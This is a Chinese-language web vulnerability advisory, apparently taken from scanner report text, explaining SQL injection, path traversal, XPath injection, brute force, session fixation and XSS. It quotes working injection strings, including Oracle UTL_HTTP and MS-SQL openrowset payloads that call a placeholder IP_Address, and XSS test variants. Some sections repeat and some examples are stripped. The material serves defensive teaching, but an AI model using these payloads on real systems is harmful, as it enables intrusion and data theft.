常见的Web应用安全漏洞与分析

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 命令执行类型:SQL 注入

CVE 引用: 不适用

安全风险: 可能会查看、修改或删除数据库条目和表

可能原因

未对用户输入正确执行危险字符清理

技术描述

Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用户输入(取自 HTTP 请求),将它并入 SQL 查询中,然后发送到后端数据库。接着应用程序便处理查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作方式。在此情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将查询的原始语法更改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用户帐户的数据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密码部分),查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据库服务器上运行 Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习 SQL 查询的结构,然后使用该知识来阻挠查询(通过注入更改查询语法的数据),使执行的查询不同于预期。假设相关查询是:

SELECT COUNT(*) FROM accounts WHERE username='$user' AND

password='$pass'

其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的 HTTP 请求收集而来-可能是来自 GET 请求查询参数,也可能是来自 POST 请求主体参数)。此查询的一般用法,其值为 $user=john、$password=secret123。形成的查询如下:SELECT COUNT(*) FROM accounts WHERE username='john' AND

password='secret123'

如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在(也就是数据库中有名称为“john”的用户,且其密码为“secret123”),结果便是 >0。这是应用程序的基本认证机制。但攻击者可以用下列方式来更改此查询:

攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中通常包含关于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密码中包含任何值(如 foobar)。结果便是下列(格式错误)的 SQL 查询:SELECT COUNT(*) FROM accounts WHERE username=''' AND

password='foobar'

这可能会产生以下错误消息(取决于后端所使用的特定数据库):查询表达式'username = ''' AND password = 'foobar'' 中发生语法错误(遗漏运算符)。这时攻击者便得知查询是根据表达式 username='$user' AND password='$pass' 来构建的。利用手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使用:

user = ' or 1=1 or ''=' password = foobar

生成的查询如下:

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar'

这表示查询(在 SQL 数据库中)对于“accounts”表的每项记录都会返回 TRUE,因为 1=1 表达式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者)也会被视为有效。这个探测方法有若干变体,例如,发送 '; or \'(您应该记住,几乎所有供应商都有他们自己唯一的SQL“版本”。具体地说,发送 ' having 1=1,也会生成错误消息,此消息会泄露有关列名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住),而是并入数字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串1 having 1=1。

* 盲目 SQL 注入技术:

降低 SQL 注入攻击风险的一般方式,是禁止详细的 SQL 错误消息,攻击者通常便利用这些消息(如上述示例所说明),轻易找出容易遭受“SQL 注入”的脚本。这个(以遮盖获取安全)解决方案可以利用称为“盲目 SQL 注入”的技术来略过,黑客不需要依赖返回 SQL 错误消息,便能找出容易遭受“SQL 注入”的脚本。

这项技术需要发送易受攻击的参数(被嵌入在 SQL 查询中的参数)已被修改的请求,将参数修改成,使响应指出是否在 SQL 查询上下文中使用数据。这项修改包括搭配原始字符串来使用 AND Boolean 表达式,使它一时得出 true,一时得出 false。在一种情况中,最终结果应该与原始结果相同(例如:登录成功),在另一情况中,结果应该不同(例如:登录失败)。在某些少见的情况中,得出true 的 OR 表达式也很有用。

如果原始数据是数字,可以耍较简单的花招。原始数据(如 123)可以在一个请求中替换为 0+123,在另一个请求中替换为 456+123。第一个请求的结果应该与原始结果相同,第二个请求的结果应该不同(因为得出的数字是 579)。在某些情况中,我们仍需要上面所说明的攻击版本(使用 AND 和 OR),但并不转义字符串上下文。

盲目 SQL 注入背后的概念是,即使未直接收到数据库的数据(以错误消息或泄漏信息的形式),也可能抽取数据库中的数据,每次一个位,或以恶意方式修改查询。观念在于,应用程序行为(结果与原始结果相同,或结果与原始结果不同)可以提供关于所求值(已修改)之查询的单位元相关信息,也就是说,攻击者有

可能规划出以应用程序行为(相同/不同于原始行为)的形式来影响其求值(单位元)的 SQL Boolean 表达式。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 命令执行类型:SQL 注入

CVE 引用: 不适用

安全风险: 可能会查看、修改或删除数据库条目和表

可能原因

未对用户输入正确执行危险字符清理

技术描述

Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用户输入(取自 HTTP 请求),将它并入 SQL 查询中,然后发送到后端数据库。接着应用程序便处理查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作方式。在此情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将查询的原始语法更改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用户帐户的数据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密码部分),查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据库服务器上运行 Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习 SQL 查询的结构,然后使用该知识来阻挠查询(通过注入更改查询语法的数据),使执行的查询不同于预期。假设相关查询是:

SELECT COUNT(*) FROM accounts WHERE username='$user' AND

password='$pass'

其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的 HTTP 请求收集而来-可能是来自 GET 请求查询参数,也可能是来自 POST 请求主体参数)。此查询的一般用法,其值为 $user=john、$password=secret123。形成的查询如下:SELECT COUNT(*) FROM accounts WHERE username='john' AND

password='secret123'

如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在(也就是数据库中有名称为“john”的用户,且其密码为“secret123”),结果便是 >0。这是应用程序的基本认证机制。但攻击者可以用下列方式来更改

此查询:

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中通常包含关于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密码中包含任何值(如 foobar)。结果便是下列(格式错误)的 SQL 查询:SELECT COUNT(*) FROM accounts WHERE username=''' AND

password='foobar'

这可能会产生以下错误消息(取决于后端所使用的特定数据库):查询表达式'username = ''' AND password = 'foobar'' 中发生语法错误(遗漏运算符)。这时攻击者便得知查询是根据表达式 username='$user' AND password='$pass' 来构建的。利用手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使用:

user = ' or 1=1 or ''=' password = foobar

生成的查询如下:

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar'

这表示查询(在 SQL 数据库中)对于“accounts”表的每项记录都会返回 TRUE,因为 1=1 表达式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者)也会被视为有效。这个探测方法有若干变体,例如,发送 '; or \'(您应该记住,几乎所有供应商都有他们自己唯一的SQL“版本”。具体地说,发送 ' having 1=1,也会生成错误消息,此消息会泄露有关列名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住),而是并入数字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串

1 having 1=1。

2. 在某些情况下,有可能将原始查询替换为其他查询。提早终止原始查询(例如:使用单引号来结束字符串上下文,用分号之类的查询分隔符来强制终止,然后撰写新的查询),便可以做到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽然不完全符合预期的数据),那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它仍可能在数据库上运行恶意查询(例如:更改表、删除表,以及运行 Shell 命令)。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的格式返回,便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理返回的查询结果的方式):

'; select @@version,1,1,1-- (MS-SQL 数据库-返回数据库版本)

'; select * from master..sysmessages (MS-SQL 数据库-返回系统信息)'; select * from dbo.sysdatabases (MS-SQL 数据库-返回数据库服务器所管理的数据库名称)

'; select * from sys.dba_users (Oracle 数据库-返回数据库用户名)

由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " -这些字符必须编码/转义,且必须确保数字/布尔型或其他类型化数据的格式适当),攻击者便可以使用这个情况来操纵数据库。

在 Oracle 测试变体中,由强制 Oracle 数据库利用 UTL_HTTP 程序包建立从Oracle 服务器返回测试机器的 HTTP 连接来验证 SQL 注入。

发送的注入有效内容是:' ||

UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') || ' 假设原始 SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND password='$pass',在 SQL 注入测试期间实际的 SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username='' ||

UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') ||

'' AND password='$pass'

当运行此 SQL 查询时,Oracle 服务器会执行 UTL_HTTP.REQUEST 入口点,这个入口点会联系测试机器,通过 HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在 Oracle 服务器和测试机器之间,必须能够建立直接的 TCP 连接。在 MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是: '; select * from

openrowset('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m yUsr;pwd=myPass','select foo from bar')--

假设原始 SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND password='$pass',在 SQL 注入期间,实际的 SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username=''; select * from openrowset('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid =myUsr;pwd=myPass','select foo from bar')--' AND password='$pass'

当运行这个 SQL 查询时,MS SQL 服务器会在 9999 端口上建立指向

[IP_Address] 的连接,这是 openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在 MS SQL 服务器和测试机器之间,必须能够建立直接的 TCP 连接。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 信息泄露类型:路径遍历

CVE 引用: 不适用

安全风险: 可能会查看 Web 服务器(在 Web 服务器用户的许可权限制

下)上的任何文件(例如,数据库、用户信息或配置文件)的

内容

可能原因

?未对用户输入正确执行危险字符清理

?未检查用户输入中是否包含“..”(两个点)字符串

技术描述

CGI 脚本通常包含指定作为模板显示或使用的文件的参数。如果应用程序未验证为脚本提供的文件名,那么攻击者可能会操纵该参数,并请求驻留于服务器上的其他文件。

示例:

[原始的 HTML 表单]

...

...

[受操纵的 HTML 表单]

ACTION="http://target/cgi-bin/vulnerable_script.cgi">

...

...

如此一来,应用程序在将表单提交回服务器时,会为攻击者提供 boot.ini 文件。

注意:该攻击有可能使用“\”代替“/”或两者交替使用,以形成变体。因此,可能使用 ../../../../../boot.ini、..\..\..\..\..\boot.ini

和 ..\../../..\../boot.ini。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 命令执行类型:XPath 注入

CVE 引用: 不适用

安全风险: 可能会访问存储在敏感数据资源中的信息

可能原因

未对用户输入正确执行危险字符清理

技术描述

XPath 是用来引用一部分 XML 文档的语言。它可以直接供应用程序用来查询XML 文档,或用作较大操作的一部分(例如,将 XSLT 变换应用于 XML 文档,或将 XQuery 应用于 XML 文档,等等)。.

XPath 的语法有些类似 SQL 查询,而且利用 XPath 也确实有可能在 XML 文档上形成类似 SQL 的查询。例如,假定 XML 文档包含“user”名称的元素,每个元素各包含 3 个子元素-“name”、“password”和“account”。这时下列XPath 表达式会产生名称为“jsmith”、密码为“Demo1234”的用户的帐号(如果没有这样的用户,便是空字符串):string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())

因此,如果 Web 应用程序利用 XPath 来查询 XML 文档,且检索了从客户端接收其名称和密码的用户的账号,这类应用程序可能将这些值直接嵌入在 XPath 查询中,从而创建安全漏洞。以下便是示例(假定采用 Microsoft https://www.360docs.net/doc/9615944738.html, 和C#):

...

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("...");

...

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

https://www.360docs.net/doc/9615944738.html,pile("string(//user[name/text()='"+TextBox1.Text+"' and password/text()='"+TextBox2.Text+"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="")

{

// name+password pair is not found in the XML document - login failed.

...

}

else

{

// account found -> Login succeeded. Proceed into the application

...

}

当使用这类代码时,攻击者可以注入 XPath 表达式(类似 SQL 注入),例如,提供下列值作为用户名: ' or 1=1 or ''=' 这个数据会更改原始 XPath 的语意,使它始终返回 XML 文档中第一个帐号。

这意味着虽然攻击者未提供任何有效用户名或密码,但仍将登录(作为 XML 文档中列出的第一个用户)。

事实上,Sanctum(目前是 IBM)的一份题为“盲目 XPath 注入”的论文,便演示了在任何形式的 XPath 注入可能存在时,如何系统性地检索整份 (!) XML 文档(在这个案例中,其中包含所有帐户登录信息)。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 认证类型:蛮力

CVE 引用: 不适用

安全风险: 可能会升级用户特权并通过 Web 应用程序获取管理许可权

可能原因

Web 应用程序编程或配置不安全

技术描述

蛮力攻击是指恶意用户发送大量可能的密码和/或用户名以访问应用程序的尝试。

由于该技术包含大量登录尝试,未限制允许的错误登录请求次数的应用程序很容易遭到这类攻击。

因此,强烈建议您对帐户限制允许的错误登录尝试次数,超过该次数,便锁定该帐户。

样本利用:

下列请求说明密码猜测请求:

http://site/login.asp?username=EXISTING_USERNAME&password=GUESSED_PAS SWORD

如果站点在若干次错误尝试之后并不锁定测试的帐户,攻击者最终可能会发现帐户密码,并使用它来假冒帐户的合法用户。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 命令执行类型:SQL 注入

CVE 引用: 不适用

安全风险: 可能会查看、修改或删除数据库条目和表

可能原因

未对用户输入正确执行危险字符清理

技术描述

AppScan 在测试响应中发现到“SQL 注入”以外的攻击所触发的“数据库错误”。

虽然不确定,但这个错误可能表示应用程序有“SQL 注入”漏洞。

若是如此,请仔细阅读下列“SQL 注入”咨询:

Web 应用程序通常在后端使用数据库,以与企业数据仓库交互。查询数据库事实上的标准语言是 SQL(各大数据库供应商都有自己的不同版本)。Web 应用程序通常会获取用户输入(取自 HTTP 请求),将它并入 SQL 查询中,然后发送到后端数据库。接着应用程序便处理查询结果,有时会向用户显示结果。

如果应用程序对用户(攻击者)的输入处理不够小心,攻击者便可以利用这种操作方式。在此情况下,攻击者可以注入恶意的数据,当该数据并入 SQL 查询中时,就将查询的原始语法更改得面目全非。例如,如果应用程序使用用户的输入(如用户名和密码)来查询用户帐户的数据库表,以认证用户,而攻击者能够将恶意数据注入查询的用户名部分(和/或密码部分),查询便可能更改成完全不同的数据复制查询,可能是修改数据库的查询,或在数据库服务器上运行 Shell 命令的查询。

一般而言,攻击者会分步实现这个目标。他会先学习 SQL 查询的结构,然后使用该知识来阻挠查询(通过注入更改查询语法的数据),使执行的查询不同于预期。假设相关查询是:

SELECT COUNT(*) FROM accounts WHERE username='$user' AND

password='$pass'

其中 $user 和 $pass 是用户输入(从调用构造查询的脚本的 HTTP 请求收集而来-可能是来自 GET 请求查询参数,也可能是来自 POST 请求主体参数)。此查询的一般用法,其值为 $user=john、$password=secret123。形成的查询如下:SELECT COUNT(*) FROM accounts WHERE username='john' AND

password='secret123'

如果数据库中没有这个用户密码配对,预期的查询结果便是 0,如果此类配对存在(也就是数据库中有名称为“john”的用户,且其密码为“secret123”),结果便是 >0。这是应用程序的基本认证机制。但攻击者可以用下列方式来更改此查询:

1. 攻击者可以提供单引号字符(')所组成的输入,使数据库发出错误消息,其中通常包含关于 SQL 查询的有价值的信息。攻击者只需在发送的请求中包含用户值 ',并在密码中包含任何值(如 foobar)。结果便是下列(格式错误)的 SQL 查询:SELECT COUNT(*) FROM accounts WHERE username=''' AND

password='foobar'

这可能会产生以下错误消息(取决于后端所使用的特定数据库):查询表达式'username = ''' AND password = 'foobar'' 中发生语法错误(遗漏运算符)。这时攻击者便得知查询是根据表达式 username='$user' AND password='$pass' 来构建的。利用手边的 SQL 查询时需要这一关键信息。攻击者了解查询的格式后,下一步只需使用:

user = ' or 1=1 or ''=' password = foobar

生成的查询如下:

SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar'

这表示查询(在 SQL 数据库中)对于“accounts”表的每项记录都会返回 TRUE,因为 1=1 表达式永远为真。因此,查询会返回“accounts”中的记录数量,于是用户(攻击者)也会被视为有效。这个探测方法有若干变体,例如,发送 '; or \'(您应该记住,几乎所有供应商都有他们自己唯一的SQL“版本”。具体地说,发送 ' having 1=1,也会生成错误消息,此消息会泄露有关列名称的信息。在某些情况下,用户输入不会并入字符串上下文(用单引号括住),而是并入数字上下文,换言之,就是依现状嵌入。因此,在这种情况下,可以使用输入字符串

1 having 1=1。

2. 在某些情况下,有可能将原始查询替换为其他查询。提早终止原始查询(例如:使用单引号来结束字符串上下文,用分号之类的查询分隔符来强制终止,然后撰写新的查询),便可以做到这一点。如果应用程序够灵活,可以从已修改的查询中接收(及显示)数据(虽然不完全符合预期的数据),那么就可以使用这项技术来下载各种数据库表和记录。

即使应用程序处理从数据库返回的意外数据的方式还不至于将该数据显示出来,它仍可能在数据库上运行恶意查询(例如:更改表、删除表,以及运行 Shell 命令)。

最后,在某些情况下,按一定方式设计恶意查询,使所需数据依照应用程序预期的格式返回,便可得到所需数据。

下列输入字符串可用来从数据库的系统表中生成敏感信息(这取决于应用程序处理返回的查询结果的方式):

'; select @@version,1,1,1-- (MS-SQL 数据库-返回数据库版本)

'; select * from master..sysmessages (MS-SQL 数据库-返回系统信息)'; select * from dbo.sysdatabases (MS-SQL 数据库-返回数据库服务器所管理的数据库名称)

'; select * from sys.dba_users (Oracle 数据库-返回数据库用户名)由此可见,如果用户输入未经清理(也就是确保字符串数据不含 ' 或 " -这些字符必须编码/转义,且必须确保数字/布尔型或其他类型化数据的格式适当),攻击者便可以使用这个情况来操纵数据库。

在 Oracle 测试变体中,由强制 Oracle 数据库利用 UTL_HTTP 程序包建立从Oracle 服务器返回测试机器的 HTTP 连接来验证 SQL 注入。

发送的注入有效内容是:' ||

UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') || ' 假设原始 SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND password='$pass',在 SQL 注入测试期间实际的 SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username='' ||

UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') ||

'' AND password='$pass'

当运行此 SQL 查询时,Oracle 服务器会执行 UTL_HTTP.REQUEST 入口点,这个入口点会联系测试机器,通过 HTTP 来请求 '/SQL_Injection_Validation' 文件。

注意:为了能够适当验证这项测试,在 Oracle 服务器和测试机器之间,必须能够建立直接的 TCP 连接。在 MS SQL 端口侦听器测试变体中,也使用类似的方法。

发送的注入有效内容是: '; select * from

openrowset('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=m yUsr;pwd=myPass','select foo from bar')--

假设原始 SQL 查询是:SELECT COUNT(*) FROM accounts WHERE

username='$user' AND password='$pass',在 SQL 注入期间,实际的 SQL 查询是:

SELECT COUNT(*) FROM accounts WHERE username=''; select * from openrowset('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid =myUsr;pwd=myPass','select foo from bar')--' AND password='$pass'

当运行这个 SQL 查询时,MS SQL 服务器会在 9999 端口上建立指向

[IP_Address] 的连接,这是 openrowset() 的执行结果。

注意:为了能够适当验证这项测试,在 MS SQL 服务器和测试机器之间,必须能够建立直接的 TCP 连接。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 授权类型:会话定置

CVE 引用: 不适用

安全风险: 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合

法用户,从而使黑客能够以该用户身份查看或变更用户记录以

及执行事务

可能原因

Web 应用程序编程或配置不安全

技术描述

根据 WASC:

“会话固定”是一种攻击技术,会强制用户的会话标识变成显式值。

固定会话标识值的技术有许多种,会随着目标 Web 站点的功能而不同。从利用“跨站点脚本编制”到向 Web 站点密集发出先前生成的 HTTP 请求,都在这些技术范围内。用户的会话标识固定之后,攻击者会等待用户登录,然后利用预定义的会话标识值来假定用户的联机身份。一般而言,对于标识值的会话管理系统有两种类型。第一种类型是“宽容”系统,可让 Web 浏览器指定任何标识。第二种类型是“严格”系统,只接受服务器端生成的值。当使用宽容系统时,不需要联系 Web 站点,便可以维护任何会话标识。在严格系统中,攻击者需要维护“陷阱会话”并且必须定期联系 Web 站点,才能防止闲置超时。

对于会话固定,倘若没有活动保护,使用会话来识别已认证的用户的任何 Web 站点都可能受到攻击。使用会话标识的 Web 站点通常都是基于 cookie 的站点,但也会使用 URL 和隐藏的表单字段。不幸的是,基于 cookie 的会话最容易受到攻击。

目前已识别的大多数攻击方法都是针对 cookie 的固定。

相对于在用户登录 Web 站点之后,再窃取用户的会话标识,会话固定提供的机会多得多。

在用户登录之前,攻击的活动部分便已启动。

会话固定攻击过程通常由三个步骤组成:

1) 安装会话

攻击者针对目标 Web 站点设下“陷阱会话”,并获取这个会话的标识,攻击者也可以选择攻击中所用的任意会话标识。在某些情况下,必须反复联系 Web 站点,才能维护确定好的陷阱会话值。

2) 固定会话

攻击者将陷阱会话值引进用户的浏览器中,固定用户的会话标识。

3) 进入会话

用户登录目标 Web 站点之后,当使用固定会话标识值时,攻击者便可加以接管。”

----------------------------------------------

如果会话管理系统接受 URL 参数形式的会话标识,下列请求便可以强迫会话标识采用 URL 参数值。

代码片段:

http://example/login.php?PHPSESSID=1234

根据 WASC:

“利用客户端脚本发出新的会话标识 cookie 值

-------------------------------------------------------------------------------------------

域中任何 Web 站点的“跨站点脚本编制”漏洞都可用来修改当前 cookie 值。代码片段:

http://example/

另一个类似的示例(使用 META 标记注入):

http://example/

利用 HTTP 响应头发出 cookie

-----------------------------------------------------------------------

攻击者强迫目标 Web 站点或域中的任何其他站点发出会话标识 cookie。许多方法都可以做到这一点:

- 闯进域中的某 Web 服务器(例如:维护不良的 WAP 服务器)- 毒害某用户的DNS 服务器,实质将攻击者的 Web 服务器添加到域中 - 在域内安装恶意的 Web 服务器(例如:在 Windows 2000 域的工作站上,所有工作站也都在该 DNS 域中)

- 利用 HTTP 响应分割攻

击”----------------------------------------------

登录过程前后会话标识的比较,显示它们并未更新,这表示有可能伪装用户。初步得知会话标识值后,远程攻击者有可能得以充当已登录的合法用户。

利用“跨站点脚本编制”漏洞可以获取会话标识值,导致受害者的浏览器在联系易受攻击的站点时使用预定的会话标识;启用“固定会话”也可以获取会话标识值,导致站点在受害者的浏览器中显示预定的会话标识。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 客户端攻击类型:跨站点脚本编制

CVE 引用: 不适用

安全风险: 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以

及执行事务

可能原因

Web 应用程序使用客户端逻辑创建 Web 页面

技术描述

“跨站点脚本编制”攻击是一种隐私违例,可让攻击者获取合法用户的凭证,并在与特定 Web 站点交互时假冒这位用户。在标准“跨站点脚本编制”攻击中,这个攻击立足于下列事实: Web 站点中所包含的脚本直接将用户在 HTML 页面中的输入(通常是参数值)返回,而不预先加以清理。如果脚本在响应页面中返回由 JavaScript 代码组成的输入,浏览器便可以执行输入中的代码。在“DOM 跨站点脚本编制”攻击中,易受到攻击的代码位于客户端。攻击并不依赖于向服务器发送恶意数据,也不需要将恶意数据嵌入服务器的响应中。

下列代码片段(age.html)演示了“DOM 跨站点脚本编制”漏洞:

Hello!


Your age is:

这个 HTML 页面通常用来显示用户的年龄,例如:

http://SERVER/age.html?age=21

但是,发出下列请求会出现 XSS 条件:

http://SERVER/age.html?age=

攻击方案:

1. 攻击者诱惑合法用户单击攻击者生成的链接。

2. 当用户单击链接时,浏览器便生成对于 Web 站点的请求,并接收到上述静态HTML 页面。

攻击者的恶意有效内容未嵌入响应主体中。

3. 浏览器对响应进行解析,执行

4. 浏览器在页面上下文中对动态添加的内容进行解析,执行注入的 JavaScript 代码(对该示例而言,为 alert(document.cookie))。请注意,恶意代码不需要嵌入服务器的响应中,攻击也能成功。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 认证类型:蛮力

CVE 引用: 不适用

安全风险: 可能会升级用户特权并通过 Web 应用程序获取管理许可权

可能原因

Web 应用程序编程或配置不安全

技术描述

已发现应用程序会使用可预期的认证凭证(例如:admin+admin、guest+guest)。攻击者很容易预测用户名和密码,登录应用程序,从而获取未获授权的特权。建议您使用 IBM Authentication Tester PowerTool 来测试应用程序,找出其他脆弱的登录凭证组合(工具 > Authentication Tester)。

严重性: 高

类型: 应用程序级别测试

WASC 威胁分类: 客户端攻击类型:跨站点脚本编制

CVE 引用: 不适用

安全风险: 可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以

及执行事务

可能原因

未对用户输入正确执行危险字符清理

技术描述

“跨站点脚本编制”攻击是一种隐私违例,可让攻击者获取合法用户的凭证,并在与特定 Web 站点交互时假冒这位用户。这个攻击立足于下列事实:Web 站点中所包含的脚本直接将用户在 HTML 页面中的输入(通常是参数值)返回,而不

预先加以清理。如果脚本在响应页面中返回由 JavaScript 代码组成的输入,浏览器便可以执行输入中的代码。因此,有可能形成指向站点的若干链接,且其中一个参数是由恶意的 JavaScript 代码组成。该代码将在站点上下文中(由用户浏览器)执行,这授权它通过用户浏览器访问用户所拥有的站点 Cookie 以及站点的其他窗口。

攻击依照下列方式继续进行:攻击者诱惑合法用户单击攻击者生成的链接。用户单击该链接时,便会生成对于 Web 站点的请求,其中的参数值含有恶意的JavaScript 代码。如果 Web 站点将这个参数值嵌入在响应的 HTML 页面中(这正是站点问题的本质所在),恶意代码便会在用户浏览器中运行。

脚本可能执行的操作如下:

[1] 将用户的 cookie(针对合法站点)发送给攻击者。

[2] 将可通过 DOM(URL、表单字段等)访问的信息发送给攻击者。

结果是在易受攻击的站点上,受害用户的安全和隐私受到侵害。

部分注意事项如下:

[1] 虽然受攻击的 Web 站点涉入其中,但它没有直接受害。它被用作攻击者发送的恶意脚本的“跳板”,用来以合法身份返回受害者的浏览器。不过,由于受害者的隐私是在特定站点的上下文中受到侵害,并且由于站点有直接责任,因此,这将视为站点的安全缺陷。

[2] 如果受害的用户所访问的站点由攻击者来维护,攻击者便可以使用 Web 站点链接来提供恶意的链接。如果攻击者知道用户的电子邮件地址,且用户的电子邮件客户端使用浏览器来呈现 HTML 消息,恶意的链接也可以由电子邮件来提供。

[3] 用户输入在表单字段值(即 URL 参数)中最常见,但也有已知的攻击将恶意的代码嵌入路径、查询,或 HTTP Referrer 头中,甚至是嵌入 Cookie 中。

[4] AppScan 会发送许多类型的“跨站点脚本编制”攻击,其中包括只作用于特定浏览器或浏览器版本的攻击。AppScan 的“在浏览器中显示”功能使用Internet Explorer 来显示漏洞。对于不易侵害 Internet Explorer 而易侵害其他浏览器的变体来说,“在浏览器中显示”功能无法运作,且不会出现弹出窗口。将输入发送给很容易受到跨站点脚本编制攻击的 Web 应用程序,有两种可能的方案:

A. 在响应页面中,返回发送给 CGI 脚本的参数值,嵌入在 HTML 中。

例如:[请求]

GET /cgi-bin/script.pl?name=JSmith HTTP/1.0

[响应]

HTTP/1.1 200 OK

Server: SomeServer

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 27

Hello JSmith

B. 在 HTML 参数值上下文中,返回发送给 CGI 脚本的参数值。

例如:[请求]

GET /cgi-bin/script.pl?name=JSmith HTTP/1.0

[响应] HTTP/1.1 200 OK Server: SomeServer Date: Sun, 01 Jan 2002 00:31:19 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 254

Please fill in your zip code:



示例 1 - 方案 A 下列请求由用户发送:

[攻击请求] GET

/cgi-bin/script.pl?name=>"'> HTTP/1.0

[攻击响应方案 A] HTTP/1.1 200 OK Server: SomeServer Date: Sun, 01 Jan 2002 00:31:19 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 83

Hello >"'>

在这种情况下,浏览器会执行 JavaScript 代码(>"'> 部分在这里不相关)。

示例 2 - 方案 B 使用与示例 1 相同的脚本和输入来引起攻击:

[攻击响应方案 B] HTTP/1.1 200 OK Server: SomeServer Date: Sun, 01 Jan 2002 00:31:19 GMT Content-Type: text/html Accept-Ranges: bytes Content-Length: 310

Please fill in your zip code:

">


>"'> 前缀用来跳出参数值的上下文。先关闭参数字字段 ( "'> ),再关闭

标记 ( > ),会导致浏览器执行 JavaScript,但不会视为已当作JavaScript 代码来解析或执行的参数值。

以下列出各种测试变体:

[1] >'>

[2] >">

[3]

[4] >"'>

[5] >"'>

src=javascript: ;alert("Watchfire XSS Test Successful")> [6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="

[7] -->

[8] '+alert('Watchfire XSS Test Successful')+'

[9] "+alert('Watchfire XSS Test Successful')+"

[10] >'><%00script>alert('Watchfire XSS Test Successful') (.NET 1.1 specific variant)

[11] >"><%00script>alert("Watchfire XSS Test Successful") (.NET 1.1 specific variant)

[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-

